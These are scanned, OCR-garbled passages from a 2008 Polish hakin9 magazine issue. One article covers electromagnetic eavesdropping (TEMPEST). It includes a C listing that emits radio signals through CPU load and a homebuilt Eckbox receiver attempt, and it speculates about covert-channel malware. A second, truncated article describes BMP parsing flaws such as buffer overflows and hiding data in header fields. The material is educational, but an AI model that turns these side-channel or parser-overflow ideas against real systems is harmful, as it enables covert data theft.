przeczytaniu tego artykułu wielu admi-
nistratorów podejdzie do zagadnienia
podsłuchu elektromagnetycznego tak
samo poważnie, jak do innych proble-
mów związanych z bezpieczeństwem
systemów informatycznych. l

Rysunek 9.

Obraz odbierany przez kolejny układ (HI2302)

O autorze

Autor, Grzegorz Błoński, z wykształcenia jest informatykiem. Pracuje w dużej firmie pro-
dukcyjnej o zasięgu światowym. Zajmuje się administracją i bezpieczeństwem sieciowym.
Należy do międzynarodowych organizacji ISOC oraz ISACA, zajmujących się szeroko po-
jętym bezpieczeństwem IT.
Kontakt: mancymonek@mancymonek.pl

Rysunek 8.

Wynik pracy urządzenia i programu Eckbox

background image
background image

www.hakin9.org

hakin9 Nr 3/2008

22

Atak

E

misja ujawniająca (ang. compromising
emanation
), nazywana także ulotem
elektromagnetycznym, to zjawisko wy-

stępujące w każdym obwodzie, w którym pły-
nie prąd. O ile w wielu przypadkach elektro-
magnetyzm jest zjawiskiem bardzo przydat-
nym, to w przypadku emisji ujawniającej jest
dokładnie odwrotnie. Każdy podzespół kom-
putera, przetwarzając dane, emituje część
energii elektrycznej w postaci pola elektroma-
gnetycznego. To właśnie pole elektromagne-
tyczne i zawarte w nim informacje będą tema-
tem tego artykułu.

Fakty czy mity

W marcu roku 2004 w Internecie powstał projekt
nazwany Eckbox (http://eckbox.sourceforge.net),
który był rozwijany przez kilka miesięcy.

Jest to jedyny projekt open source teo-

retycznie pozwalający wykorzystywać tech-
nikę podsłuchu elektromagnetycznego. Z
premedytacją używam słowa teoretycznie,
ponieważ nie udało mi się znaleźć potwier-
dzenia faktu działania tego urządzenia i pro-
gramu. Projekt powstał na bazie badań i ar-
tykułu napisanego przez Wima van Ecka,
holenderskiego naukowca z Neher Labora-

tories. Skonstruowane i opisane przez nie-
go urządzenie było odbiornikiem fal elektro-
magnetycznych, podłączonym do komputera
za pomocą specjalnie przerobionego odbior-
nika telewizyjnego oraz pozwalało na prze-
chwycenie informacji wyświetlanych na mo-
nitorze katodowym CRT. Było to rozwiązanie
czysto sprzętowe i bardzo rozbudowane. Pro-
jekt Eckbox
jest o wiele prostszą wersją tego
rozwiązania – co wcale nie musi oznaczać, że
mniej funkcjonalną. Autorzy projektu napisali

Podsłuch

elektromagnetyczny

Grzegorz Błoński

stopień trudności

W mediach co rusz słyszymy, że ktoś kogoś podsłuchał. Cały ten

szum podsłuchiwania dotyczy raczej specjalizowanych urządzeń

podsłuchowych, mini-nadajników zwanych pluskwami – lecz to

nie jedyny rodzaj podsłuchu obecny w otaczającym nas świecie.

Nie należy zapominać, że podsłuchać można nie tylko człowieka,

ale także komputer i to, co w nim najcenniejsze dla właściciela.

Z artykułu dowiesz się

• co to jest emisja ujawniająca,
• co to jest ulot elektromagnetyczny,
• czy można wykorzystać te zjawiska do podsłu-

chiwania.

Co powinieneś wiedzieć

• znać podstawy zjawiska elektromagnetyzmu,
• znać system Linux i umieć pracować w konsoli,
• umieć posługiwać się lutownicą,
• znać podstawy budowy układów elektronicznych.

background image

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

23

program, który – korzystając z por-
tu równoległego w komputerze PC
– potrafi przekształcić dane odebra-
ne przez radioodbiornik podłączony
do komputera za pomocą specjal-
nego interfejsu wykorzystującego
przetwornik analogowo-cyfrowy.

Problem ulotu elektromagne-

tycznego dotyczy każdego urzą-
dzenia komputerowego, a mimo to
niewiele jest firm, które dbają o za-
pewnienie pod tym względem bez-
pieczeństwa swoim wrażliwym da-
nym. W agencjach i instytucjach
rządowych sytuacja jest trochę lep-
sza, ponieważ są one zobligowane
do utrzymania określonych informa-
cji w ścisłej tajemnicy.

W USA powstał w latach sześć-

dziesiątych projekt nazwany TEM-
PEST (Transient ElectroMagnetic
Pulse Emanation STandard
), któ-
ry określa dopuszczalne poziomy
niepożądanych emisji fal elektro-
magnetycznych. Projekt uwzględ-
nia trzy klasy (poziomy) bezpie-
czeństwa:

• Level 1 – AMSG 720 B,
• Level 2 – AMSG 788,
• Level 3 – AMSG 784.

Urządzenia wykonane przy zachowa-
niu norm zawartych w projekcie TEM-
PEST są sprzedawane na terenie
państw członkowskich NATO. Jed-
nak, aby móc takie urządzenie na-
być lub nimi handlować, trzeba speł-
nić pewne warunki.

Po dokładniejsze informacje na

temat programu TEMPEST odsyłam
do Internetu, na przykład na stronę
www.iniejawna.pl.

Technikalia

Rozpatrując możliwości podsłu-
chania komputera przy wykorzy-
staniu kompromitujących emana-
cji, mamy możliwość zastosowa-
nia technik inwazyjnych oraz nie-
inwazyjnych.

Techniki inwazyjne mogą opierać

się na wstrzyknięciu w system-ofia-
rę oprogramowania, działającego
w taki sposób, że bez wiedzy użyt-
kownika będzie wykorzystywało
układy elektroniczne komputera ja-

ko nadajnik i antenę do wypromie-
niowania informacji, jakie zamierza-
my przechwycić.

Przykładem wykorzystania ta-

kiej techniki jest program au-
torstwa Erika Thiele, nazwa-
ny dźwięcznie Tempest for Eliza
(http://www.erikyyy.de/tempest).
Program ten pozwala – przy wyko-
rzystaniu karty graficznej jako nadaj-
nika i monitora jako anteny – wysy-

łać muzykę w eter – można ją ode-
brać na standardowym radioodbior-
niku fal długich. Program działa w li-
nii poleceń systemu Linux.

Do wydania odpowiedniej ko-

mendy potrzebne są nam parame-
try naszego podsystemu graficzne-
go, takie jak:

• częstotliwość rysowania piksela

(Pixel Clock),

Listing 1.

Program tempest-cpu autorstwa Berke Duraka

#include

<stdlib.h>

#include

<stdio.h>

typedef

unsigned

char

u8

;

#define BUF_SIZE (1<<18)

void

tempest_cpu_pattern

(

int

count

,

volatile

int

*

buf

,

int

a

,

int

b

)

{

int

i

,

j

;

int

x1

,

x2

,

x3

,

x4

;

x1

=

0

;

x2

=

0

;

x3

=

0

;

x4

=

0

;

i

=

0

;

while

(

count

--)

{

for

(

j

=

0

;

j

<

a

;

j

++)

{

x1

^

=

0x55330fff

+

i

;

x1

<<=

1

;

buf

[

i

]

=

x1

;

if

(++

i

==

BUF_SIZE

)

i

=

0

;

}

for

(

j

=

0

;

j

<

b

;

j

++)

{

asm

(

"nop"

);

/* this instruction is available on nearly every CPU :

) */

}

}

}

int

main

(

int

argc

,

char

**

argv

)

{

int

count1

,

count2

;

int

a1

,

b1

;

int

a2

,

b2

;

int

*

c

;

int

a

,

b

;

if

(

argc

!=

7

)

{

fprintf

(

stderr

,

"usage: %s a_low b_low a_high b_high count_low

count_high

\n

"

);

exit

(

EXIT_FAILURE

);

}

a1

=

atoi

(

argv

[

1

]);

b1

=

atoi

(

argv

[

2

]);

a2

=

atoi

(

argv

[

3

]);

b2

=

atoi

(

argv

[

4

]);

count1

=

atoi

(

argv

[

5

]);

count2

=

atoi

(

argv

[

6

]);

c

=

malloc

(

BUF_SIZE

*

sizeof

(

int

));

for

(;;)

{

for

(

a

=

a1

,

b

=

b1

;

a

<

a2

&&

b

<

b2

;

a

+=

(

a2

-

a1

)

>>

4

,

b

+=

(

b2

-

b1

)

>>

4

)

{

tempest_cpu_pattern

(

count1

,

c

,

a

,

b

);

}

}

return

0

;

}

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

24

• rozdzielczość pozioma (HDi-

splay),

• rozdzielczość pionowa (VDi-

splay),

• całkowita rozdzielczość pozioma

(HTotal).

Po wydaniu przykładowego pole-
cenia:

#./tempest_for_eliza 108000000 1280
1024 1688 10000000 songs/starwars

program użyje wartości 108MHz
jako częstotliwości rysowania pik-
sela, rozdzielczości okna 1280 x
1024 oraz wartości HTotal równej
1688 pikseli. Kolejne parametry to
10MHz (jako częstotliwość nośna,
na której będzie emitowany dźwięk)
i wreszcie ścieżka do pliku dźwię-
kowego. Na ekranie monitora po-
jawi się dynamicznie zmieniający
się obraz czarno-białych linii pozio-
mych, których grubość i szybkość
zmian uwarunkowana jest odtwa-
rzanym z pliku dźwiękiem.

Dźwięki emitowane przez moni-

tor są słyszalne także na częstotli-
wościach harmonicznych. Na stan-
dardowym odbiorniku radiowym
w zakresie fal krótkich w okolicach
częstotliwości 10MHz nadawa-
ny dźwięk bardzo dobrze słychać.
Oprócz tej częstotliwości odebra-
łem emitowane dźwięki za pomocą
transceivera krótkofalowego na czę-
stotliwościach 26,215 MHz, 26,455
MHz, 26,755 MHz, 27,755 MHz oraz
28,005 MHz – przy czym najsilniej-
szy sygnał pojawił się na pierwszej
z wymienionych częstotliwości. Od-
ległość anteny wynosiła początko-
wo jeden metr – w tych warunkach

siła sygnału była na poziomie 3µV
do 6µV (według wskazań transce-
ivera Zodiac Tokyo), bez względu
na polaryzację anteny. Przy zwięk-
szeniu odległości do 4 metrów siła
sygnału spadła do poziomu 0,39µV.
Dźwięki nadal były słyszalne, lecz
towarzyszyły im wyraźne szumy,
których intensywność zmieniała się
w zależności od polaryzacji anteny.
Podczas pomiarów używałem ante-
ny MagLoop.

Przy okazji tych eksperymentów

odkryłem, że podłączone do kom-
putera urządzenia typu KVM (Key-
board Video Mouse
) w trakcie te-
stów emitują tak silnie wzmocnione
sygnały z karty graficznej, że bez
problemu mogłem odebrać czyste,
słyszalne dźwięki w pomieszcze-
niu znajdującym się za dwoma ścia-
nami w odległości około 8 metrów. Si-
ła sygnału była tak duża, że wskaź-
nik transceivera Zodiac Tokyo wska-
zywał 50µV! Sugeruje to, że sygnał
mógł być swobodnie odebrany w bar-
dzo dużej odległości, przypuszczal-
nie kilkudziesięciu, a może nawet kil-
kuset metrów.

W związku z tym faktem uwa-

żam, że używanie przełączników
KVM w systemach komputerowych
zawierających dane tajne lub wraż-
liwe jest bardzo ryzykowne. Prze-
łącznik, którego używałem, to dzie-
ło firmy D-link (model DKVM-2K)

który, jako urządzenie pozwalają-
ce na korzystanie z jednego ze-
stawu klawiatury, myszy i monito-
ra dla dwóch komputerów, sprawu-
je się doskonale – zgodnie ze swym
przeznaczeniem. Bardzo możliwe,
że jest na rynku sporo przełączni-
ków pozbawionych takiej przypa-
dłości
. Jednak tak czy inaczej, za-
nim ktoś zechce użyć jakiegokol-
wiek przełącznika, powinien się za-
stanowić nad niechcianym dodat-
kiem
w postaci dużej emisji niepo-
żądanych sygnałów lub wykonać te-
sty sprawdzające.

Erik Thiele bazował przy pracy

nad swoim programem na innym
projekcie (autorstwa Pekki Riiko-
nena), który potrafił tylko emitować
pojedyncze tony – ale także pozwo-
lił udowodnić, że podsłuch elektro-
magnetyczny jest możliwy. Powsta-
ło już więcej programów wykorzy-
stujących zjawisko niepożądane-
go ulotu elektromagnetycznego
w komputerach. Autorem kilku ta-
kich narzędzi jest Berke Durak
(http://abaababa.ouvaton.org/tem-
pest
). Jego programy wykorzystu-
ją do ukrytej transmisji danych dro-
gą radiową zarówno wewnętrzne,
jak i zewnętrzne podzespoły kom-
putera.

Pierwszym programem Ber-

ke Duraka, o najmniej skompliko-
wanej budowie (Listing 1) jest tem-

Rysunek 2.

Ekran monitora podczas pracy programu Tempest for Eliza

Rysunek 1.

Rozkład pola

elektromagnetycznego wokół
odcinka przewodnika prądu

�������������

��������������������

������������������

�����

background image

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

25

pest-cpu. Program działający w linii
poleceń systemu Linux przyjmuje kil-
ka parametrów określających rodzaj
przesyłanych dźwięków, wysokość
tonu i czas trwania. Obciąża proce-
sor w 100%, więc nie nadaje się do
przeprowadzenia ataku – jego dzia-
łalność w systemie zostałaby szybko
wykryta. Jest jednak dobrym przy-
kładem potwierdzającym fakt ist-
nienia zjawiska ulotu elektromagne-
tycznego. Procesor emituje niezbyt
silne pole elektromagnetyczne, jed-
nak jest ono możliwe do odebrania
w odległości do dwóch metrów przy
pomocy zwykłego radioodbiornika
na fale długie, przy czym odbiera-
ny sygnał jest bardzo mocno zakłó-
cany przez szumy oraz interferencje
pochodzące od innych pracujących
w komputerze podzespołów.

Kolejny program tempest-crt tego

samego autora wykorzystuje – po-
dobnie jak poprzednie programy Eri-
ka Thiele i Pekki Riikonena – moni-
tor jako nadajnik do wysyłania infor-
macji dźwiękowej. Inne dwa progra-
my Berke Duraka – tempest-pci oraz
tempest-mem – wykorzystują ja-
ko nadajnik odpowiednio szynę PCI
(i urządzenia na niej pracujące) oraz
pamięć operacyjną. Ich przydatność
do wykorzystania w ataku jest rów-
nież niewielka, ponieważ pole elek-
tromagnetyczne, które generują wo-
kół siebie urządzenia PCI, jest dużo
słabsze niż wytwarzane przez mo-
nitory (w szczególności CRT, choć
LCD także charakteryzują się dość
pokaźnym niepożądanym ulotem).

W tym momencie należy wspo-

mnieć, że urządzenia pracujące na
szynie SCSI – bardzo wydajnej szy-
nie danych, wykorzystywanej w roz-
wiązaniach serwerowych – także
emitują dość silne pola elektroma-

gnetyczne. Są one dużo bardziej in-
tensywne niż w przypadku szyny PCI
i w przypadku braku odpowiedniego
ekranowania dają możliwość podsłu-
chania z dużej odległości.

Programy Duraka są niezaprze-

czalnym potwierdzeniem, że można
wykorzystać podzespoły kompute-
ra w celu wysyłania informacji po-

przez zastosowanie odpowiedniego
oprogramowania. Wprawny progra-
mista, wykorzystując kod źródłowy
programów Duraka, teoretycznie
może napisać aplikację, która po-
zwoli mu po zainfekowaniu kompu-
tera-ofiary na przechwytywanie in-
formacji, jakie go interesują. Po od-
powiedniej modyfikacji programu

Rysunek 3.

Transceiver Zodiac

Tokyo w czasie odbierania sygnału

Rysunek 4.

Program Tempest for Eliza po zakończeniu pracy

Rysunek 5.

Widok zmontowanego urządzenia

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

26

można go dodać jako załącznik do
maila, który automatycznie się uru-
chomi, jeśli nieuważny internauta
w niego kliknie. Choć dotychczas
nie ujawniono wirusa czy innego
złośliwego kodu wykorzystujące-
go taką technikę do przechwycenia
informacji, uważam, że zagrożenie
związane z takimi atakami jest dość
duże. Całkiem możliwe, że już ktoś
napisał taki złośliwy kod i go wyko-
rzystuje, a my o tym po prostu nie
wiemy.

Techniki nieinwazyjne – jak su-

geruje nazwa – nie zmuszają nas
do wstrzykiwania kodu programu
do komputera-ofiary. Nieinwazyj-
ność tych metod polega na wyko-
rzystaniu niepożądanej emisji elek-

tromagnetycznej generowanej stan-
dardowo przez urządzenia kompu-
terowe. Prekursorem w tej dziedzi-
nie – a jednocześnie naukowcem,
który upublicznił informacje o moż-
liwości podsłuchu elektromagne-
tycznego – był wcześniej wspo-
mniany Wim van Eck.

Podsłuchiwać możemy przeróż-

ne sygnały emitowane przez wie-
le podzespołów komputerowych
– od urządzeń komunikujących się
z komputerem bezprzewodowo, ta-
kich jak myszy, klawiatury, drukar-
ki itp., aż po te, które są połączone
z komputerem kablem. W przypad-
ku słabej jakości filtrowania napięć
zasilających w zasilaczach kom-
puterowych część informacji mo-

że przedostawać się do sieci elek-
troenergetycznej i tam może zostać
przechwycona.

W roku 1990 Peter Smulders

opublikował wyniki badań nad prze-
chwytywaniem informacji z ulotu
elektromagnetycznego kabli łączą-
cych interfejsy RS-232, na podsta-
wie których możemy przypuszczać,
że praktycznie każdy rodzaj transmi-
sji danych, nawet realizowanej prze-
wodowo, jest narażony na podsłu-
chanie.

Budujemy urządzenie

W związku z tym, że najsilniejsze
sygnały emitowane są przez mo-
nitory CRT, a zaraz po nich LCD,
postanowiłem przeprowadzić wła-
sne badania, budując odpowiednie
urządzenie. Zaczerpnąłem podsta-
wowe informacje ze strony projektu
Eckbox i zacząłem od zebrania od-
powiednich elementów elektronicz-
nych, aby zbudować interfejs prze-
twarzający sygnał analogowy z od-
biornika radiowego czy też innego
transceivera, którym będę próbo-
wać odebrać sygnały emitowane
przez monitory testowe.

Rozpoczynając pracę nad bu-

dową pierwszego układu, podcho-
dziłem do całej sprawy nieco scep-
tycznie – jednak z odrobiną na-
dziei, że się uda. Do swojego eks-
perymentu wykorzystałem odbior-
nik radiowy w zakresie pasma fal
długich, krótkich oraz UKF, a także
transceiver Zodiac Tokyo, pracują-
cy w zakresie 25-29MHz. Nasłuchy
prowadziłem w modulacji AM oraz
FM. Jak wiemy, sygnały nadawane
przez różne nadajniki często są sły-
szalne na częstotliwościach harmo-
nicznych, które są wielokrotnościa-
mi częstotliwości nośnej. Liczyłem
więc, że gdzieś w końcu usłyszę
i zobaczę to, co chcę.

Na Rysunku 6. widać schemat

blokowy połączeń poszczególnych
elementów zestawu.

W swoim eksperymencie wyko-

rzystywałem radioodbiornik wypo-
sażony w standardową antenę fer-
rytową oraz zewnętrzną telesko-
pową. Oprócz tego w przypadku
transceivera Zodiac Tokyo korzy-

Rysunek 6.

Eksperymentalny zestaw do podsłuchu elektromagnetycznego

(Eckbox)

����������

����������������������

������

�������������������������

������

���������������

�����������������

���������������

Rysunek 7.

Schemat ideowy urządzenia Eckbox

���

�����

���

����

�������������������������

��

��

��

�����������������

�����

����

�����

�����������������������
�����������������������

��
��
��
��
��
��
��
��

��

��

��

��

��

��

��

��

��

��

���

��

��

��

������

����

����

����

�����

��

��

��

��

��

��

��

��

���

��

��

����

��

����

��

background image

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

27

stałem z anteny dookólnej pętlowej
LoopSkywire oraz anteny kierunko-
wej MagLoop własnej konstrukcji.
Szczegóły dotyczące budowy tych an-
ten nie zostaną tu zamieszczone – wy-
starczająco dużo informacji na ten te-
mat można znaleźć w Internecie.

Do zbudowania interfejsu urzą-

dzenia dla portu LPT (według infor-
macji ze strony http://eckbox.source-
forge.net
), potrzebujemy układu sca-
lonego do konwersji sygnału analogo-
wego z odbiornika radiowego na sy-
gnał cyfrowy rozumiany przez kompu-
ter PC. Projekt Eckbox zakłada użycie
przetwornika analogowo-cyfrowego o
rozdzielczości 8 bitów na wyjściu cy-
frowym i jednym kanale wejściowym.
Układy scalone, które można wyko-
rzystać do tego celu, są dostępne
w każdym lub prawie każdym sklepie
z podzespołami elektronicznymi.

Dodatkowo będziemy potrzebo-

wali kilku rezystorów, kondensatorów
i diod. Przeszukując sklepy natrafiłem
na układ ADC0804, niedrogi, spełnia-
jący wymogi projektu i posiadający od-
powiednie parametry elektryczno-lo-
giczne. Na Rysunku 7. przedstawiam
schemat układu, który zbudowałem,
korzystając z informacji zawartych
w nocie aplikacyjnej układu ADC0804
i kilku innych rozwiązań wykorzystują-
cych ten przetwornik.

Po zmontowaniu elektronicznej

części układu przystąpiłem do połą-
czenia wszystkich elementów zesta-
wu podsłuchowego – tak, jak widać na
Rysunku 5.

Program eckbox po skompilowa-

niu (wraz z odpowiednimi bibliote-
kami – svgalib oraz modułem svga-
lib_helper) uruchamia się, począt-
kowo wyświetlając tylko czarny
ekran. Po chwili, gdy zaczyna dzia-
łać przetwornik A/C, na ekranie po-
jawiają się przesuwające się po-
ziome linie – co przedstawia Ry-
sunek 8.

Urządzenie nie wyświetla tego,

na co oczekiwałem, ponieważ za-
stosowany układ ADC0804 prze-
nosi sygnały o częstotliwościach
do 10 kHz. Przeoczyłem ten waż-
ny parametr podczas wyszukiwa-
nia odpowiedniego układu. Ponie-
waż w technice nieinwazyjnej za-
kładamy, że nie mamy możliwości
wymuszenia częstotliwości, na ja-
kiej monitor emituje sygnał, musi-
my próbować odebrać go na czę-
stotliwościach, na których jest emi-
towany przez podzespoły kompute-
ra lub na częstotliwościach harmo-
nicznych (założyłem zakres od 10
do 30 MHz).

Zbudowałem więc kolejny eg-

zemplarz oparty o układ ADC, mo-

gący pracować z częstotliwościa-
mi sygnału wejściowego rzędu 18
Mhz, który teoretycznie powinien
się sprawdzić lepiej – czyli HI1175
firmy Intersil. Niestety, okazało się,
że to także nie pozwala na odebra-
nie sygnału. Zgodnie z informacja-
mi ze strony projektu Eckbox, układ
powinien działać na częstotliwości
pasma radiowego FM 108MHz.

Taka częstotliwość sugeruje, że

program został napisany tak, by od-
bierać sygnał emitowany przez Pi-
xelClock w kartach graficznych.
Dość trudne jest zdobycie ukła-
du ADC pracującego z sygnałami
wejściowymi o takich częstotliwo-
ściach.

Licząc, że uda mi się podsłu-

chać coś na częstotliwościach har-
monicznych, postanowiłem naj-
pierw zbudować kolejne ukła-
dy, umożliwiające pracę na wyż-
szych częstotliwościach. Kolejne
urządzenie, zbudowane w oparciu
o układ HI2302 (także firmy Inter-
sil), podczas pierwszych testów nie
chciało działać – czego przyczyną
okazało się zaniżone napięcie za-
silające. Ponieważ urządzenie jest
zasilane z szyny USB, szybko zna-
lazłem przyczynę tej sytuacji. Oka-
zał się nią zewnętrzny dysk twar-
dy podłączony do komputera, który

R

E

K

L

A

M

A

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

28

pobierając prąd rzędu 500mA (czyli
maksymalny możliwy według specy-
fikacji USB) powodował spadki napię-
cia. Po odłączeniu dysku napięcie na
szynie USB wróciło do poziomu 5V,
a urządzenie zaczęło pracować.

Niestety, nie powiodło mi się rów-

nież tym razem. Układ teoretycz-
nie pozwala na odbieranie sygnałów
o częstotliwości 100MHz. Program
Eckbox, pomimo tego, że wyświetlał
zmieniające się w czasie obrazy skła-
dające się z linii poziomych.

Brak pozytywnego wyniku działa-

nia urządzenia i programu Eckbox wca-

le nie spowodował w moim przypadku
zmiany zdania na temat problemu ulotu
elektromagnetycznego i zagrożeń bez-
pieczeństwa z nim związanych.

Powodem niepowodzenia mogą

być zarówno błędy w projektowaniu

urządzenia, jak i sam program, któ-
ry ostatnich poprawek doczekał się
w roku jego powstania (2004). Od
tamtego czasu na stronie projektu nic
się nie dzieje. Być może ktoś już pró-
bował zbudować to urządzenie wcze-
śniej, jednak nie natknąłem się na śla-
dy informacji o działającym egzempla-
rzu. Jeżeli jest ktoś, kto wykonał taki
aparat, chętnie skorzystam z jego wie-
dzy – o ile zechce się nią podzielić.

Podsumowanie

Po analizie pokaźnych zasobów infor-
macji na temat ulotu elektromagne-
tycznego, znajdujących się między
innymi w Internecie, oraz po przepro-
wadzonych testach programów Erika
Thiele i Berke Duraka uważam, że pro-
blem emisji ujawniającej jest kwestią,
której nie można pomijać przy tworze-
niu polityk bezpieczeństwa w firmach
i instytucjach przetwarzających waż-
ne, często tajne dane. Choć w tym ar-
tykule opisałem możliwość odbierania
sygnałów nadawanych z premedyta-
cją – i to na niewielkie odległości, nie
można lekceważyć istoty problemu,
która może w wielu przypadkach sta-
nowić o wycieku bardzo cennych da-
nych. Nieudana próba podsłuchania
emisji ujawniającej przy pomocy pro-
stych w budowie urządzeń nie prze-
czy temu, że sam fakt takiego pod-
słuchu jest możliwy. Przy odpowied-
nio dużym nakładzie pracy oraz zasto-
sowaniu profesjonalnego sprzętu z du-
żym prawdopodobieństwem pozwo-
li nam to na skonstruowanie urządze-
nia, które będzie działało tak samo do-
brze, jak urządzenie Wima van Ecka
(lub nawet lepiej). Mam nadzieję, że po
przeczytaniu tego artykułu wielu admi-
nistratorów podejdzie do zagadnienia
podsłuchu elektromagnetycznego tak
samo poważnie, jak do innych proble-
mów związanych z bezpieczeństwem
systemów informatycznych. l

Rysunek 9.

Obraz odbierany przez kolejny układ (HI2302)

O autorze

Autor, Grzegorz Błoński, z wykształcenia jest informatykiem. Pracuje w dużej firmie pro-
dukcyjnej o zasięgu światowym. Zajmuje się administracją i bezpieczeństwem sieciowym.
Należy do międzynarodowych organizacji ISOC oraz ISACA, zajmujących się szeroko po-
jętym bezpieczeństwem IT.
Kontakt: mancymonek@mancymonek.pl

Rysunek 8.

Wynik pracy urządzenia i programu Eckbox

background image

hakin9 Nr 3/2008

30

Atak

N

iniejszy artykuł ma na celu zapoznać
czytelnika z formatem przechowywa-
nia obrazu BMP, wskazać w nich miej-

sca które można wykorzystać do przemycenia
ukrytych danych, miejsca w których programi-
sta może popełnić błąd podczas implementacji
oraz zapoznać ze samym formatem. Przykła-
dy będą w miarę możliwości zilustrowane pew-
nymi bugami w istniejącym oprogramowaniu,
znalezionymi przez autora oraz inne osoby.

Wstęp do BMP

Niesławny format BMP znany jest przede
wszystkim z plików o ogromnych wielkościach
(w porównaniu do JPEG czy PNG). Format ten
stworzony został przez firmy IBM oraz Microsoft
na potrzeby systemów OS/2 oraz Windows, obie
firmy rozwijały go jednak oddzielnie, co spowo-
dowało powstanie kilku wariantów tego formatu.
Niniejszy tekst skupia się na BMP w wersji Win-
dows V3, pozostałe wersje (OS/2 V1 i V2 oraz
Windows V4 i V5) pozostawiam czytelnikowi do
własnej analizy jako zadanie domowe :).

Niezależnie od wersji, ogólna budowa pli-

ku, przedstawiona na Rysunku 1. pozostaje ta-
ka sama. Na samym początku pliku znajduje się
struktura BITMAPFILEHEADER (jest ona stała,

niezależnie od wersji) która zawiera m.in. iden-
tyfikator pliku – tzw. liczbę magiczną (ang. ma-
gic number
), oraz offset na którym znajdują się
dane bitmapy. Bezpośrednio po BITMAPFILE-
HEADER
, na offsecie 0Eh, znajduje się struktu-
ra BITMAPINFOHEADER (dodam że deklara-
cje omawianych struktur można znaleźć w pliku
wingdi.h w Platform SDK), która zawiera infor-
macje o obrazie, jego rozdzielczości, głębi ko-
lorów czy użytej metody kodowania/kompresji.
W przypadku bitmap o głębi 4 lub 8 bitów, za-
raz za strukturą BITMAPINFOHEADER znaj-

Format BMP okiem hakera

Michał Gynvael Coldwind Składnikiewicz

stopień trudności

Pliki graficzne są dziś szeroko rozpowszechnionym nośnikiem

informacji, spotyka się je praktycznie na każdym komputerze.

Dobry programista powinien wiedzieć jak wyglądają nagłówki

poszczególnych formatów plików graficznych, i jak są

przechowywany jest sam obraz. A jak to zwykle bywa, diabeł tkwi

w szczegółach.

Z artykułu dowiesz się

• jak zbudowany jest plik BMP,
• na co uważać podczas implementowania ob-

sługi formatu BMP,

• gdzie szukać błędów w aplikacjach korzystają-

cych z BMP.

Co powinieneś wiedzieć

• mieć ogólne pojęcie na temat plików binarnych,
• mieć ogólne pojęcie na temat bitmap.

background image

Format BMP okiem hakera

hakin9 Nr 3/2008

www.hakin9.org

31

duje się paleta barw, którą jest od-
powiedniej wielkości tablica struktur
RGBQUAD. W przypadku bitmap o
głębi kolorów 16 bitów zamiast palety
barw w tym miejscu znajduję się pro-
sta struktura składająca się z trzech
DWORD'ów które są maskami bito-
wymi określającymi które bity w da-
nych obrazu odpowiadają za barwę,
kolejno, czerwoną, zieloną oraz nie-
bieską, natomiast w bitmapach, o głę-
bi 24 bity lub większejm paleta barw
nie występuje. Dane obrazu zaczy-
nają się na offsecie podanym w BIT-
MAPFILEHEADER
, zazwyczaj od
razu po ostatnim nagłówku. Budowa
danych zależy za równo od użytego
kodowania jak i głębi kolorów.

Tak przedstawia się ogólna budo-

wa formatu BMP. Szczegółowa budo-
wa formatu BMP przedstawiona jest
w dalszej części artykułu.

Nagłówek

BITMAPFILEHEADER

Nagłówek

BITMAPFILEHEADER

(patrz Tabela 1) rozpoczyna się na
początku pliku (offset 0) i ma wielkość
14 bajtów (0Eh). Najmniej interesują-
cym polem struktury jest pierwsze po-
le – bfType, które zawsze ma wartość
odpowiadającą ciągowi ASCII BM.
Kolejnym polem jest DWORD bfSi-
ze
w którym wg. specyfikacji powinna
znaleźć się całkowita wielkość pliku
w bajtach. Wielkość pliku prawidłowe-
go pliku łatwo obliczyć dodając wiel-
kości poszczególnych nagłówków,
palety barw oraz danych obrazu. To
pole stanowi pierwszą pułapkę, ale w
nią wpadają jedynie nieuważni pro-
gramiści. Rozważmy kod z Listingu 1.
- programista wczytał nagłówek, za-
ufał polu bfSize i zaalokował tyle pa-

mięci ile wg. bfSize jest potrzebne, po
czym wczytał cały plik (aż do koń-
ca) do zaalokowanego bufora. Funk-
cja działa wyśmienicie, pod warun-
kiem że wartość bfSize jest równa lub
większa od faktycznej wielkości pliku.
Jeśli wartość bfSize będzie mniejsza,
dojdzie do klasycznego błędu prze-
pełnienia bufora – który wprawny
włamywacz mógł by wykorzystać do
wykonania własnego kodu. Dobrym
pomysłem jest zignorowanie wartości
tego pola, i korzystanie jedynie z wiel-
kości pliku otrzymanej od systemu pli-
ków. Stanowcza większość aplikacji
faktycznie ignoruje to pole, co z kolei
pozwala wykorzystać je w celu ukry-
cia 32 bitów danych.

Dwa kolejne pola – bfReserved1

oraz bfReserved2 – według specyfi-
kacji powinny być wyzerowane, po-
nieważ są zarezerwowane na przy-
szłość. Póki co są jednak niewyko-
rzystywane, więc mogą posłużyć do
ukrycia kolejnych 32 bitów danych
(oba pola są WORDami, czyli mają
po 16 bitów każde). Warto zaznaczyć
iż żadna z testowanych przez auto-
ra aplikacji nie sprawdzała czy w w/w
polach faktycznie znajdują się zera.

Ostatnie pole stanowi kolejną pu-

łapkę. Pole bfOffBits, bo o nim mo-
wa, jest 32 bitową wartością bez zna-
ku (DWORD, czyli w terminologii C
jest to unsigned int) która mówi o tym
w którym miejscu pliku (a dokładniej,
od którego bajtu pliku) zaczynają się
faktyczne dane obrazu. Zdarzają się
przypadki w których to pole jest wy-
zerowane – część aplikacji w tym wy-
padku uznaje że dane obrazu znajdu-
ją się bezpośrednio za nagłówkami.
Programista implementujący obsłu-
gę BMP może popełnić kilka błędów.

Na początek najbardziej trywialny
– programista z góry zakłada że da-
ne obrazu znajdują się za nagłówka-
mi i ignoruje pole bfOffBits – tak dzia-
ło się w przypadku starszych wersji
Total Commander (na przykład 6.51,
wersje nowsze, na przykład 7.01 nie
ignorują już tego pola). Pomijając
problemy z wyświetlaniem prawidło-
wych bitmap które mają dane obra-
zu odsunięte od nagłówków, pozwa-
la to na przykład stworzyć plik BMP
który wyświetlany w Total Comman-
derze będzie prezentował inną gra-
fikę niż gdyby ten tam plik BMP po-
dać innej, prawidłowo obsługującej
pole bfOffBits, aplikacji. Taki właśnie
efekt zaprezentowany jest na Rysun-
ku 2. (użyte grafiki pochodzą z http:
//icanhascheezburger.com
), dla uka-
zania efektu ten sam plik BMP poda-
no Listerowi (część Total Commande-
ra odpowiedzialna za podgląd plików)
oraz IrfanView 4.10. Należy zazna-
